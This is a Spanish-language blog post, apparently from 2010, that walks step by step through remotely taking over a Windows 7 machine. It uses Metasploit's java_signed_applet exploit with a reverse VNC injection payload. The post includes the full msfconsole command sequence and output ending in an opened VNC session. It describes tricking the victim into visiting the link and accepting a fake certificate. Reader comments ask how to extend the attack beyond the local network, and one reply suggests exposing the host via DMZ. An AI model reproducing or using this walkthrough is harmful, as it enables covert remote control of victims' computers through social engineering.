26/11/10

Penetración Windows 7 inyectando remota VNC

Penetración Windows 7 inyectando remota VNC

En esta práctica utilizo el mestaplsoit framework para cargar el exploit deseado en este caso el multi/browser/java_signed_applet
Esta vulnerabilidad se basa en la posibilidad de ejecutar código remotamente si un usuario acepta el certificado falso.

Cito:
Esta hazaña crea dinámicamente un applet a través de la
MSF:: Exploit:: mixin Java, lo convierte en un archivo jar, y luego firma el.
. Frasco con un certificado creado de forma dinámica que contiene los valores de
su elección. Este se presenta al usuario final a través de una página web con
una etiqueta de applet, carga el applet firmado. JVM del usuario aparece un
diálogo que le pregunta si confía en el subprograma firmado y muestra el
valores elegidos. Una vez que el usuario hace clic en "aceptar", el applet se ejecuta
con permisos de usuario. El Java carga utilizados en esta hazaña es
derivados de Stephen menos y HDM de carga creado para el
CVE-2008-5353 deserialización java explotar. Este módulo requiere de la
rubygem RJB, el JDK, y la variable $ JAVA_HOME a establecer. Si
estas dependencias no están presentes, el exploit se cambia por una
estática, JAR firmado.

Posteriormente utilizo como método de ataque (payload) el windows/vncinject/reverse_tcp
Este payload se conecta hacia el atacante inyectando una DLL de vnc
Entonces por medio de la ingeniería social hacemos que la victima entre al enlace creado , la victima tiene que abrirlo con su navegador y posterior mente aceptar el certificado para poder hacer la conexión inversa.

Pasos a seguir:

1) Seleccionamos el exploit

2) Verificamos las opciones que son requeridas:

3) Modificamos las partes importantes para poder realizar la prueba de esta vulnerabilidad (SRVHOST y URIPATH)

4) Vemos cuales payloads son compatibles con el exploit:

5) seleccionamos payload

6) Ahora ejecutamos el exploit y esperamos por la conexión

7) Ahora se conecta el ordenador vulnerable y obtenemos una sesión.
---------------------

| | _) |
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
| | | __/ | ( |\__ \ | | | ( | | |
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
_|


=[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ -- --=[ 636 exploits - 320 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
=[ svn r11153 updated today (2010.11.25)

msf > search java
msf > use multi/browser/java_signed_applet
msf exploit(java_signed_applet) > set payload windows/vncinject/reverse_tcp
payload => windows/vncinject/reverse_tcp
msf exploit(java_signed_applet) > set lhost 10.152.95.133
lhost => 10.152.95.133
msf exploit(java_signed_applet) > set SRVPORT 80
SRVPORT => 80
msf exploit(java_signed_applet) > set SRVHOST 10.152.95.133
SRVHOST => 10.152.95.133
msf exploit(java_signed_applet) > set URIPATH /juegos
URIPATH => /juegos

msf exploit(java_signed_applet) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.152.95.133:4444
[-]
[-] The JDK failed to initialized: no such file to load -- rjb
[-] In order to dynamically sign the applet, you must install the Java Development Kit, the rjb gem, and set the JAVA_HOME environment variable.
[-]
[-] Falling back to static signed applet. This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored.
[-]
[*] Using URL: http://10.152.95.133:80/juegos
[*] Server started.
msf exploit(java_signed_applet) > [*] Handling request from 10.152.65.244:49228...
[*] Generated executable to drop (73802 bytes).
[*] Using static, signed jar. Ready to send.
[*] Sending SiteLoader.jar to 10.152.65.244:49229. Waiting for user to click 'accept'...
[*] Sending SiteLoader.jar to 10.152.65.244:49229. Waiting for user to click 'accept'...
[*] Sending stage (445440 bytes) to 10.152.65.244
[*] VNC Server session 1 opened (10.152.95.133:4444 -> 10.152.65.244:49230) at Fri Nov 26 17:01:59 -0600 2010
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vncviewer.

------------------------------

Aquí el Video.

------------------------------


3 comentarios:

Anónimo dijo...

Esto es solo local? y si no, como hago para que no sea solo local?

Anónimo dijo...

Esto es solo local? y si no, como hago para que no sea solo local?

zerial killer dijo...

si estas en la red local es tu ip local, si no activas DMZ y pones la ip que te de en la DMZ

saluods!!!